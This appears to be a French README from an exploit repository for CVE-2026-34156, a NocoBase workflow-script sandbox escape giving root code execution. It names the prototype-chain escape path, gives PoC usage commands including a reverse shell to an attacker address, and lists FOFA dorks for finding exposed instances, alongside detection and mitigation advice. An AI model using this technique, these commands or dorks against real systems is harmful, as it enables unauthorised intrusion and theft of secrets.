🚨 CVE-2026-34156 - NocoBase : évasion de sandbox critique

Exécution de code à distance non authentifiée / à faibles privilèges → root dans NocoBase

📌 Vue d'ensemble

CVE-2026-34156 est une vulnérabilité critique d'évasion de sandbox dans NocoBase (une plateforme open-source no-code/low-code).

Un attaquant capable de créer ou d'exécuter un nœud de script de workflow (même avec de faibles privilèges) peut s'échapper de la sandbox vm de Node.js et obtenir une exécution de code à distance complète en tant que root dans le conteneur.

Versions affectées

• NocoBase < 2.0.28

Corrigé dans

• NocoBase 2.0.28 (publié en mars 2026)

🛠 Détails de la vulnérabilité

• Composant : @nocobase/plugin-workflow-javascript (nœud de script)
• Type : Évasion de sandbox via console._stdout.constructor.constructor
• Impact :
  • Exécution de code à distance en tant que root (uid=0)
  • Exécution de commandes arbitraires
  • Accès au système de fichiers (fs)
  • Fuite de variables d'environnement (identifiants de base de données, secrets)
  • Compromission complète du conteneur

Cause racine

L'objet console passé dans la sandbox provient du domaine hôte, ce qui permet aux attaquants de remonter la chaîne de prototypes et d'accéder au vrai constructeur Function → process.mainModule.require.

🚀 Exploitation

Preuve de concept (PoC)

# Simple command execution
python3 CVE-2026-34156.py -u https://target.com -e [email protected] -p password -c "id"

# Reverse shell
python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444

Le dépôt comprend : le script PoC complet, un modèle Nuclei et un vérificateur sans danger.

🧪 Détection

Modèle Nuclei

nuclei -u https://target -t cves/CVE-2026-34156.yaml

Dorks FOFA

title="NocoBase" || title="Sign in - NocoBase"
title="NocoBase" && body="workflow"

🛡️ Atténuation

1. Mettez à niveau immédiatement vers NocoBase 2.0.28 ou une version ultérieure.
2. Désactivez le nœud de script de workflow pour les utilisateurs non fiables.
3. Exécutez les conteneurs NocoBase en tant qu'utilisateur non-root.
4. Utilisez un sandboxing plus robuste (par ex., isolated-vm) en production.

📸 Captures d'écran

⚠️ Avertissement légal

Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée.
Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Toute exploitation non autorisée est illégale.

⭐ Crédits et références

• Découverte : Inconnu (divulguée publiquement)
• Correctif : Équipe sécurité NocoBase
• NVD : CVE-2026-34156
• Avis de sécurité GitHub : GHSA-px3p-vgh9-m57c